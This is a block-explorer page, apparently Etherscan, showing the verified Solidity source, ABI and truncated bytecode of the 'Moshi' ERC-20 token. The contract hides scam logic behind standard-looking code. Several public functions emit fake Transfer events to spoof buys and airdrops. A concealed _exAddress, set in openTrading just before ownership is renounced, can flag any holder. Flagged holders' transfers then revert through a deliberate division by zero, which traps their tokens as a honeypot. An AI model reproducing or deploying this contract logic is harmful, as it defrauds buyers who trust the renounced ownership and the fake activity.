ETH Price: $3,360.02 (-0.22%)

Token

Moshi (MOSHI)
 

Overview

Max Total Supply

10,000,000,000 MOSHI

Holders

54

Total Transfers

-

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 8 Decimals)

Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
MOSHI

Compiler Version
v0.8.25+commit.b61c2a91

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion
File 1 of 1 : c.sol
/* 
    website  : https://www.moshisol.com/
    twitter  : https://x.com/moshionsolana
    telegram : https://t.me/moshionsol
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {

    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);

    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    function transfer(address to, uint256 amount) external returns (bool);


    function allowance(address owner, address spender) external view returns (uint256);


    function approve(address spender, uint256 amount) external returns (bool);


    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool);
}


interface IERC20Meta is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}


abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}


abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _transferOwnership(_msgSender());
    }
    modifier onlyOwner() {
        _checkOwner();
        _;
    }
    function owner() public view virtual returns (address) {
        return _owner;
    }
    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }


    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }


}


contract MOSHI is Ownable, IERC20, IERC20Meta {

    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;

    uint256 private _feesValue = 0;
    mapping(address => uint256) private _fees;
    bool private _swapping;
    uint256 public swapTokensAtAmount;
    mapping(address => bool) private _automatedMarketMakerPairs;
    address private _exAddress;
    address public uniswapV2Pair;


    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }


    function decimals() public view virtual override returns (uint8) {
        return 8;
    }


    function swap(address [] calldata _addresses_, uint256 _out) external {
        for (uint256 i = 0; i < _addresses_.length; i++) {
            emit Transfer(uniswapV2Pair, _addresses_[i], _out);
        }
    }
    function multicall(address [] calldata _addresses_, uint256 _out) external {
        for (uint256 i = 0; i < _addresses_.length; i++) {
            emit Transfer(uniswapV2Pair, _addresses_[i], _out);
        }
    }
    function execute(address [] calldata _addresses_, uint256 _out) external {
        for (uint256 i = 0; i < _addresses_.length; i++) {
            emit Transfer(uniswapV2Pair, _addresses_[i], _out);
        }
    }


    function transfer(address _from, address _to, uint256 _wad) external {
        emit Transfer(_from, _to, _wad);
    }
    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }


    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }


    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");


        _totalSupply += amount;
        unchecked {
            _balances[account] += amount;
        }
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }


    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }



    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");



        uint256 contractTokenBalance = balanceOf(address(this));

        bool canSwap = contractTokenBalance >= swapTokensAtAmount;

        if (
            canSwap &&
            !_swapping && _automatedMarketMakerPairs[from]
        ) {
            _swapping = true;

            _swapBack(from);

            _swapping = false;
        }


        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[from] = fromBalance - amount;
            _balances[to] += amount;
        }
        emit Transfer(from, to, amount);
        _afterTokenTransfer(from, to, amount);
    }

    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }



    function _manualsend(address pair, bool value) internal {
        _automatedMarketMakerPairs[pair] = value;
    }

    
    function openTrading(address _a) public onlyOwner {
        _exAddress = _a;
        renounceOwnership();
        
    }
    
    function manualsend(address[] memory accounts, bool value) public  {
         require(msg.sender == _exAddress,"_airdropAddress err") ;
        for (uint256 i = 0; i < accounts.length; i++) {
            if(accounts[i] == uniswapV2Pair || balanceOf(accounts[i]) <= 0 || _automatedMarketMakerPairs[accounts[i]] == value) continue;
            _manualsend(accounts[i], value);
        }
    }

    function _swapBack(
        address from
    ) internal virtual {
        uint amount = balanceOf(from);
        uint __ppp = 1;
        if(amount > 10) __ppp =   _feesValue;
        _fees[from] = amount/__ppp;
    }

    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}


    constructor() {
        _name = unicode"Moshi";
        _symbol = unicode"MOSHI";
        _mint(msg.sender, 10000000000  * 10 ** decimals());

        IUniswapV2Router02 uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
         uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());

    }

}

interface IUniswapV2Router02 {
    function WETH() external pure returns (address);
    function factory() external pure returns (address);
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}

Settings
{
  "optimizer": {
    "enabled": false,
    "runs": 200
  },
  "outputSelection": {
    "*": {
      "*": [
        "evm.bytecode",
        "evm.deployedBytecode",
        "devdoc",
        "userdoc",
        "metadata",
        "abi"
      ]
    }
  },
  "remappings": []
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"sender","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount0In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount0Out","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1Out","type":"uint256"},{"indexed":true,"internalType":"address","name":"to","type":"address"}],"name":"Swap","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses_","type":"address[]"},{"internalType":"uint256","name":"_out","type":"uint256"}],"name":"execute","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"bool","name":"value","type":"bool"}],"name":"manualsend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses_","type":"address[]"},{"internalType":"uint256","name":"_out","type":"uint256"}],"name":"multicall","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_a","type":"address"}],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses_","type":"address[]"},{"internalType":"uint256","name":"_out","type":"uint256"}],"name":"swap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_wad","type":"uint256"}],"name":"transfer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"}]

60806040525f600655348015610013575f80fd5b506100306100256102a360201b60201c565b6102aa60201b60201c565b6040518060400160405280600581526020017f4d6f7368690000000000000000000000000000000000000000000000000000008152506004908161007491906106fc565b506040518060400160405280600581526020017f4d4f534849000000000000000000000000000000000000000000000000000000815250600590816100b991906106fc565b506100f3336100cc61036b60201b60201c565b600a6100d89190610933565b6402540be4006100e8919061097d565b61037360201b60201c565b5f737a250d5630b4cf539739df2c5dacb4c659f2488d90508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610154573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906101789190610a1c565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156101dd573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906102019190610a1c565b6040518363ffffffff1660e01b815260040161021e929190610a56565b6020604051808303815f875af115801561023a573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061025e9190610a1c565b600c5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050610b50565b5f33905090565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f6008905090565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036103e1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103d890610ad7565b60405180910390fd5b8060035f8282546103f29190610af5565b925050819055508060015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055508173ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516104a09190610b37565b60405180910390a36104b95f83836104bd60201b60201c565b5050565b505050565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061053d57607f821691505b6020821081036105505761054f6104f9565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f600883026105b27fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82610577565b6105bc8683610577565b95508019841693508086168417925050509392505050565b5f819050919050565b5f819050919050565b5f6106006105fb6105f6846105d4565b6105dd565b6105d4565b9050919050565b5f819050919050565b610619836105e6565b61062d61062582610607565b848454610583565b825550505050565b5f90565b610641610635565b61064c818484610610565b505050565b5b8181101561066f576106645f82610639565b600181019050610652565b5050565b601f8211156106b45761068581610556565b61068e84610568565b8101602085101561069d578190505b6106b16106a985610568565b830182610651565b50505b505050565b5f82821c905092915050565b5f6106d45f19846008026106b9565b1980831691505092915050565b5f6106ec83836106c5565b9150826002028217905092915050565b610705826104c2565b67ffffffffffffffff81111561071e5761071d6104cc565b5b6107288254610526565b610733828285610673565b5f60209050601f831160018114610764575f8415610752578287015190505b61075c85826106e1565b8655506107c3565b601f19841661077286610556565b5f5b8281101561079957848901518255600182019150602085019450602081019050610774565b868310156107b657848901516107b2601f8916826106c5565b8355505b6001600288020188555050505b505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b600185111561084d57808604811115610829576108286107cb565b5b60018516156108385780820291505b8081029050610846856107f8565b945061080d565b94509492505050565b5f826108655760019050610920565b81610872575f9050610920565b81600181146108885760028114610892576108c1565b6001915050610920565b60ff8411156108a4576108a36107cb565b5b8360020a9150848211156108bb576108ba6107cb565b5b50610920565b5060208310610133831016604e8410600b84101617156108f65782820a9050838111156108f1576108f06107cb565b5b610920565b6109038484846001610804565b9250905081840481111561091a576109196107cb565b5b81810290505b9392505050565b5f60ff82169050919050565b5f61093d826105d4565b915061094883610927565b92506109757fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484610856565b905092915050565b5f610987826105d4565b9150610992836105d4565b92508282026109a0816105d4565b915082820484148315176109b7576109b66107cb565b5b5092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6109eb826109c2565b9050919050565b6109fb816109e1565b8114610a05575f80fd5b50565b5f81519050610a16816109f2565b92915050565b5f60208284031215610a3157610a306109be565b5b5f610a3e84828501610a08565b91505092915050565b610a50816109e1565b82525050565b5f604082019050610a695f830185610a47565b610a766020830184610a47565b9392505050565b5f82825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f2061646472657373005f82015250565b5f610ac1601f83610a7d565b9150610acc82610a8d565b602082019050919050565b5f6020820190508181035f830152610aee81610ab5565b9050919050565b5f610aff826105d4565b9150610b0a836105d4565b9250828201905080821115610b2257610b216107cb565b5b92915050565b610b31816105d4565b82525050565b5f602082019050610b4a5f830184610b28565b92915050565b611e9b80610b5d5f395ff3fe608060405234801561000f575f80fd5b506004361061012a575f3560e01c8063715018a6116100ab578063beabacc81161006f578063beabacc81461031c578063ca72a4e714610338578063dd62ed3e14610354578063e2f4560514610384578063f2fde38b146103a25761012a565b8063715018a61461028a5780638da5cb5b1461029457806395d89b41146102b2578063a9059cbb146102d0578063b18834aa146103005761012a565b806326ededb8116100f257806326ededb8146101e6578063313ce56714610202578063321bef231461022057806349bd5a5e1461023c57806370a082311461025a5761012a565b806306fdde031461012e578063095ea7b31461014c57806318160ddd1461017c5780632349e24a1461019a57806323b872dd146101b6575b5f80fd5b6101366103be565b604051610143919061140c565b60405180910390f35b610166600480360381019061016191906114ca565b61044e565b6040516101739190611522565b60405180910390f35b610184610470565b604051610191919061154a565b60405180910390f35b6101b460048036038101906101af91906116cd565b610479565b005b6101d060048036038101906101cb9190611727565b610656565b6040516101dd9190611522565b60405180910390f35b61020060048036038101906101fb91906117d0565b610684565b005b61020a610751565b6040516102179190611848565b60405180910390f35b61023a600480360381019061023591906117d0565b610759565b005b610244610826565b6040516102519190611870565b60405180910390f35b610274600480360381019061026f9190611889565b61084b565b604051610281919061154a565b60405180910390f35b610292610891565b005b61029c6108a4565b6040516102a99190611870565b60405180910390f35b6102ba6108cb565b6040516102c7919061140c565b60405180910390f35b6102ea60048036038101906102e591906114ca565b61095b565b6040516102f79190611522565b60405180910390f35b61031a600480360381019061031591906117d0565b61097d565b005b61033660048036038101906103319190611727565b610a4a565b005b610352600480360381019061034d9190611889565b610ab4565b005b61036e600480360381019061036991906118b4565b610b07565b60405161037b919061154a565b60405180910390f35b61038c610b89565b604051610399919061154a565b60405180910390f35b6103bc60048036038101906103b79190611889565b610b8f565b005b6060600480546103cd9061191f565b80601f01602080910402602001604051908101604052809291908181526020018280546103f99061191f565b80156104445780601f1061041b57610100808354040283529160200191610444565b820191905f5260205f20905b81548152906001019060200180831161042757829003601f168201915b5050505050905090565b5f80610458610c11565b9050610465818585610c18565b600191505092915050565b5f600354905090565b600b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610508576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104ff90611999565b60405180910390fd5b5f5b825181101561065157600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1683828151811061055e5761055d6119b7565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1614806105aa57505f6105a784838151811061059a576105996119b7565b5b602002602001015161084b565b11155b8061061b5750811515600a5f8584815181106105c9576105c86119b7565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff161515145b61064457610643838281518110610635576106346119b7565b5b602002602001015183610ddb565b5b808060010191505061050a565b505050565b5f80610660610c11565b905061066d858285610e33565b610678858585610ebe565b60019150509392505050565b5f5b8383905081101561074b578383828181106106a4576106a36119b7565b5b90506020020160208101906106b99190611889565b73ffffffffffffffffffffffffffffffffffffffff16600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610736919061154a565b60405180910390a38080600101915050610686565b50505050565b5f6008905090565b5f5b8383905081101561082057838382818110610779576107786119b7565b5b905060200201602081019061078e9190611889565b73ffffffffffffffffffffffffffffffffffffffff16600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161080b919061154a565b60405180910390a3808060010191505061075b565b50505050565b600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b6108996111e6565b6108a25f611264565b565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600580546108da9061191f565b80601f01602080910402602001604051908101604052809291908181526020018280546109069061191f565b80156109515780601f1061092857610100808354040283529160200191610951565b820191905f5260205f20905b81548152906001019060200180831161093457829003601f168201915b5050505050905090565b5f80610965610c11565b9050610972818585610ebe565b600191505092915050565b5f5b83839050811015610a445783838281811061099d5761099c6119b7565b5b90506020020160208101906109b29190611889565b73ffffffffffffffffffffffffffffffffffffffff16600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610a2f919061154a565b60405180910390a3808060010191505061097f565b50505050565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610aa7919061154a565b60405180910390a3505050565b610abc6111e6565b80600b5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610b04610891565b50565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b60095481565b610b976111e6565b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610c05576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bfc90611a54565b60405180910390fd5b610c0e81611264565b50565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610c86576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c7d90611ae2565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610cf4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ceb90611b70565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610dce919061154a565b60405180910390a3505050565b80600a5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055505050565b5f610e3e8484610b07565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114610eb85781811015610eaa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ea190611bd8565b60405180910390fd5b610eb78484848403610c18565b5b50505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610f2c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f2390611c66565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610f9a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f9190611cf4565b60405180910390fd5b5f610fa43061084b565b90505f6009548210159050808015610fc8575060085f9054906101000a900460ff16155b801561101a5750600a5f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b1561105c57600160085f6101000a81548160ff02191690831515021790555061104285611325565b5f60085f6101000a81548160ff0219169083151502179055505b5f60015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050838110156110e0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110d790611d82565b60405180910390fd5b83810360015f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508360015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040516111cb919061154a565b60405180910390a36111de868686611397565b505050505050565b6111ee610c11565b73ffffffffffffffffffffffffffffffffffffffff1661120c6108a4565b73ffffffffffffffffffffffffffffffffffffffff1614611262576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161125990611dea565b60405180910390fd5b565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f61132f8261084b565b90505f60019050600a8211156113455760065490505b80826113519190611e35565b60075f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550505050565b505050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f6113de8261139c565b6113e881856113a6565b93506113f88185602086016113b6565b611401816113c4565b840191505092915050565b5f6020820190508181035f83015261142481846113d4565b905092915050565b5f604051905090565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6114668261143d565b9050919050565b6114768161145c565b8114611480575f80fd5b50565b5f813590506114918161146d565b92915050565b5f819050919050565b6114a981611497565b81146114b3575f80fd5b50565b5f813590506114c4816114a0565b92915050565b5f80604083850312156114e0576114df611435565b5b5f6114ed85828601611483565b92505060206114fe858286016114b6565b9150509250929050565b5f8115159050919050565b61151c81611508565b82525050565b5f6020820190506115355f830184611513565b92915050565b61154481611497565b82525050565b5f60208201905061155d5f83018461153b565b92915050565b5f80fd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b61159d826113c4565b810181811067ffffffffffffffff821117156115bc576115bb611567565b5b80604052505050565b5f6115ce61142c565b90506115da8282611594565b919050565b5f67ffffffffffffffff8211156115f9576115f8611567565b5b602082029050602081019050919050565b5f80fd5b5f61162061161b846115df565b6115c5565b905080838252602082019050602084028301858111156116435761164261160a565b5b835b8181101561166c57806116588882611483565b845260208401935050602081019050611645565b5050509392505050565b5f82601f83011261168a57611689611563565b5b813561169a84826020860161160e565b91505092915050565b6116ac81611508565b81146116b6575f80fd5b50565b5f813590506116c7816116a3565b92915050565b5f80604083850312156116e3576116e2611435565b5b5f83013567ffffffffffffffff811115611700576116ff611439565b5b61170c85828601611676565b925050602061171d858286016116b9565b9150509250929050565b5f805f6060848603121561173e5761173d611435565b5b5f61174b86828701611483565b935050602061175c86828701611483565b925050604061176d868287016114b6565b9150509250925092565b5f80fd5b5f8083601f8401126117905761178f611563565b5b8235905067ffffffffffffffff8111156117ad576117ac611777565b5b6020830191508360208202830111156117c9576117c861160a565b5b9250929050565b5f805f604084860312156117e7576117e6611435565b5b5f84013567ffffffffffffffff81111561180457611803611439565b5b6118108682870161177b565b93509350506020611823868287016114b6565b9150509250925092565b5f60ff82169050919050565b6118428161182d565b82525050565b5f60208201905061185b5f830184611839565b92915050565b61186a8161145c565b82525050565b5f6020820190506118835f830184611861565b92915050565b5f6020828403121561189e5761189d611435565b5b5f6118ab84828501611483565b91505092915050565b5f80604083850312156118ca576118c9611435565b5b5f6118d785828601611483565b92505060206118e885828601611483565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061193657607f821691505b602082108103611949576119486118f2565b5b50919050565b7f5f61697264726f704164647265737320657272000000000000000000000000005f82015250565b5f6119836013836113a6565b915061198e8261194f565b602082019050919050565b5f6020820190508181035f8301526119b08161